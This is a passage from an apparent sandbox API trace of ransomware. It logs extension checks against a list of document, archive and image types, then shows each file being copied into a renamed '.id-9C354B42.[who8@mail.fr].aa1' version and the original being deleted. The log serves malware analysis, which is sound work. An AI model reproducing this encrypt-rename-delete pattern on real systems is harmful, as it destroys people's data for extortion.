Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0225.020] lstrlenW (lpString=".doc") returned 4 [0225.020] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0225.020] lstrlenW (lpString=".docx") returned 5 [0225.020] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0225.020] lstrlenW (lpString=".pdf") returned 4 [0225.020] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0225.020] lstrlenW (lpString=".xls") returned 4 [0225.020] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0225.020] lstrlenW (lpString=".xlsx") returned 5 [0225.020] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0225.020] lstrlenW (lpString=".ppt") returned 4 [0225.020] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0225.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0225.020] lstrlenW (lpString=".zip") returned 4 [0225.020] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0225.020] lstrlenW (lpString=".rar") returned 4 [0225.020] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0225.020] lstrlenW (lpString=".bz2") returned 4 [0225.020] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0225.021] lstrlenW (lpString=".7z") returned 3 [0225.021] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0225.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0225.021] lstrlenW (lpString=".dbf") returned 4 [0225.021] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0225.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0225.021] lstrlenW (lpString=".1cd") returned 4 [0225.021] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0225.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0225.021] lstrlenW (lpString=".jpg") returned 4 [0225.021] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0225.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0225.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0225.021] lstrlenW (lpString=".doc") returned 4 [0225.021] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0225.021] lstrlenW (lpString=".docx") returned 5 [0225.021] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0225.021] lstrlenW (lpString=".pdf") returned 4 [0225.021] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0225.021] lstrlenW (lpString=".xls") returned 4 [0225.021] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0225.021] lstrlenW (lpString=".xlsx") returned 5 [0225.021] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0225.021] lstrlenW (lpString=".ppt") returned 4 [0225.021] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0225.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0225.021] lstrlenW (lpString=".zip") returned 4 [0225.022] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0225.022] lstrlenW (lpString=".rar") returned 4 [0225.022] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0225.022] lstrlenW (lpString=".bz2") returned 4 [0225.022] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0225.022] lstrlenW (lpString=".7z") returned 3 [0225.022] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0225.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0225.022] lstrlenW (lpString=".dbf") returned 4 [0225.022] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0225.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0225.022] lstrlenW (lpString=".1cd") returned 4 [0225.022] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0225.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0225.022] lstrlenW (lpString=".jpg") returned 4 [0225.022] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0225.022] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0225.022] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0225.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0225.026] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1571) returned 1 [0225.026] CloseHandle (hObject=0x1fc) returned 1 [0225.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0225.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0225.026] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.026] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.031] GetLastError () returned 0x0 [0225.031] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x623, lpOverlapped=0x0) returned 1 [0225.039] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x630, lpOverlapped=0x0) returned 1 [0225.041] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.041] WriteFile (in: hFile=0x228, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0225.041] SetEndOfFile (hFile=0x228) returned 1 [0225.041] CloseHandle (hObject=0x228) returned 1 [0225.041] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.041] SetEndOfFile (hFile=0x1fc) returned 1 [0225.042] CloseHandle (hObject=0x1fc) returned 1 [0225.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.042] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0225.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0225.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0225.043] lstrlenW (lpString=".doc") returned 4 [0225.043] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0225.043] lstrlenW (lpString=".docx") returned 5 [0225.043] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0225.043] lstrlenW (lpString=".pdf") returned 4 [0225.043] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0225.043] lstrlenW (lpString=".xls") returned 4 [0225.043] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0225.043] lstrlenW (lpString=".xlsx") returned 5 [0225.043] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0225.043] lstrlenW (lpString=".ppt") returned 4 [0225.043] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0225.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0225.043] lstrlenW (lpString=".zip") returned 4 [0225.043] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0225.043] lstrlenW (lpString=".rar") returned 4 [0225.043] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0225.043] lstrlenW (lpString=".bz2") returned 4 [0225.043] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0225.043] lstrlenW (lpString=".7z") returned 3 [0225.043] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0225.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0225.043] lstrlenW (lpString=".dbf") returned 4 [0225.043] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0225.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0225.044] lstrlenW (lpString=".1cd") returned 4 [0225.044] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0225.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0225.044] lstrlenW (lpString=".jpg") returned 4 [0225.044] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0225.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0225.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0225.044] lstrlenW (lpString=".doc") returned 4 [0225.044] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0225.044] lstrlenW (lpString=".docx") returned 5 [0225.044] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0225.044] lstrlenW (lpString=".pdf") returned 4 [0225.044] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0225.044] lstrlenW (lpString=".xls") returned 4 [0225.044] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0225.044] lstrlenW (lpString=".xlsx") returned 5 [0225.044] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0225.044] lstrlenW (lpString=".ppt") returned 4 [0225.044] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0225.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0225.044] lstrlenW (lpString=".zip") returned 4 [0225.044] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0225.044] lstrlenW (lpString=".rar") returned 4 [0225.044] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0225.044] lstrlenW (lpString=".bz2") returned 4 [0225.044] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0225.044] lstrlenW (lpString=".7z") returned 3 [0225.044] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0225.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0225.045] lstrlenW (lpString=".dbf") returned 4 [0225.045] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0225.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0225.045] lstrlenW (lpString=".1cd") returned 4 [0225.045] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0225.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0225.045] lstrlenW (lpString=".jpg") returned 4 [0225.045] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0225.045] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0225.045] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0225.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0225.339] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=30170) returned 1 [0225.339] CloseHandle (hObject=0x1a0) returned 1 [0225.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0225.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0225.339] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.339] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0225.340] GetLastError () returned 0x0 [0225.340] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x75da, lpOverlapped=0x0) returned 1 [0225.398] WriteFile (in: hFile=0x1dc, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x75e0, lpOverlapped=0x0) returned 1 [0225.401] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.401] WriteFile (in: hFile=0x1dc, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.401] SetEndOfFile (hFile=0x1dc) returned 1 [0225.402] CloseHandle (hObject=0x1dc) returned 1 [0225.402] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.402] SetEndOfFile (hFile=0x1a0) returned 1 [0225.403] CloseHandle (hObject=0x1a0) returned 1 [0225.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.404] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0225.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0225.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0225.404] lstrlenW (lpString=".doc") returned 4 [0225.404] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0225.404] lstrlenW (lpString=".docx") returned 5 [0225.404] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0225.404] lstrlenW (lpString=".pdf") returned 4 [0225.404] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0225.404] lstrlenW (lpString=".xls") returned 4 [0225.404] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0225.404] lstrlenW (lpString=".xlsx") returned 5 [0225.404] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0225.405] lstrlenW (lpString=".ppt") returned 4 [0225.405] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0225.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0225.405] lstrlenW (lpString=".zip") returned 4 [0225.405] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0225.405] lstrlenW (lpString=".rar") returned 4 [0225.405] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0225.405] lstrlenW (lpString=".bz2") returned 4 [0225.405] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0225.405] lstrlenW (lpString=".7z") returned 3 [0225.405] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0225.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0225.405] lstrlenW (lpString=".dbf") returned 4 [0225.405] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0225.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0225.405] lstrlenW (lpString=".1cd") returned 4 [0225.405] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0225.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0225.405] lstrlenW (lpString=".jpg") returned 4 [0225.405] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0225.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0225.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0225.405] lstrlenW (lpString=".doc") returned 4 [0225.405] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0225.406] lstrlenW (lpString=".docx") returned 5 [0225.406] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0225.406] lstrlenW (lpString=".pdf") returned 4 [0225.406] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0225.406] lstrlenW (lpString=".xls") returned 4 [0225.406] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0225.406] lstrlenW (lpString=".xlsx") returned 5 [0225.406] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0225.406] lstrlenW (lpString=".ppt") returned 4 [0225.406] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0225.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0225.406] lstrlenW (lpString=".zip") returned 4 [0225.406] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0225.406] lstrlenW (lpString=".rar") returned 4 [0225.406] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0225.406] lstrlenW (lpString=".bz2") returned 4 [0225.406] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0225.406] lstrlenW (lpString=".7z") returned 3 [0225.406] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0225.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0225.406] lstrlenW (lpString=".dbf") returned 4 [0225.406] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0225.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0225.407] lstrlenW (lpString=".1cd") returned 4 [0225.407] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0225.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0225.407] lstrlenW (lpString=".jpg") returned 4 [0225.407] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0225.407] lstrcmpiW (lpString1=".config", lpString2=".aa1") returned 1 [0225.407] lstrlenW (lpString="VSTOInstaller.config") returned 20 [0225.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0225.643] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=716) returned 1 [0225.643] CloseHandle (hObject=0x22c) returned 1 [0225.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0225.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0225.644] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.644] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0225.645] GetLastError () returned 0x0 [0225.645] ReadFile (in: hFile=0x22c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x2cc, lpOverlapped=0x0) returned 1 [0225.674] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0225.676] ReadFile (in: hFile=0x22c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.676] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0225.676] SetEndOfFile (hFile=0x1f0) returned 1 [0225.676] CloseHandle (hObject=0x1f0) returned 1 [0225.676] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.676] SetEndOfFile (hFile=0x22c) returned 1 [0225.677] CloseHandle (hObject=0x22c) returned 1 [0225.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.677] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1 [0225.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 